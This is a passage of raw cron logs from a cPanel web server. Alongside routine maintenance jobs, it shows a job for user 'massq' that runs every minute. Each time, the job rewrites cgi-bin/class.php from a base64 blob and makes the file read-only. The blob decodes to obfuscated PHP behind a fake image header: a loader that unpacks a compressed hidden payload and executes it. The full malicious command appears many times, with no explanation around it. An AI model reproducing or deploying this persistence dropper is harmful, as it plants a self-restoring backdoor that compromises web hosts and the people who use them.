RAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:21:01 server CROND[15980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:21:01 server CROND[15981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:22:01 server CROND[16372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:22:01 server CROND[16371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:22:01 server CROND[16373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:23:01 server CROND[16756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:23:01 server CROND[16757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:23:01 server CROND[16759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:24:01 server CROND[17131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:24:01 server CROND[17132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:24:01 server CROND[17133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:25:01 server CROND[17521]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:25:01 server CROND[17523]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 20:25:01 server CROND[17525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:25:01 server CROND[17526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:25:01 server CROND[17528]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 20:25:01 server CROND[17529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:25:01 server CROND[17524]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:25:01 server CROND[17527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:26:01 server CROND[18459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:26:01 server CROND[18460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:26:01 server CROND[18461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:27:01 server CROND[18900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:27:01 server CROND[18902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:27:01 server CROND[18903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:27:01 server CROND[18901]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 20:28:01 server CROND[19287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:28:01 server CROND[19286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:28:01 server CROND[19288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:29:01 server CROND[19678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:29:01 server CROND[19680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:29:01 server CROND[19679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:30:01 server CROND[20068]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 20:30:01 server CROND[20069]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:30:01 server CROND[20072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:30:01 server CROND[20074]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 20:30:01 server CROND[20079]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:30:01 server CROND[20080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:30:01 server CROND[20076]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:30:01 server CROND[20075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:30:01 server CROND[20077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:31:01 server CROND[20997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:31:01 server CROND[20999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:31:01 server CROND[20998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:32:01 server CROND[21378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:32:01 server CROND[21379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:32:01 server CROND[21380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:33:01 server CROND[21827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:33:01 server CROND[21828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:33:01 server CROND[21829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
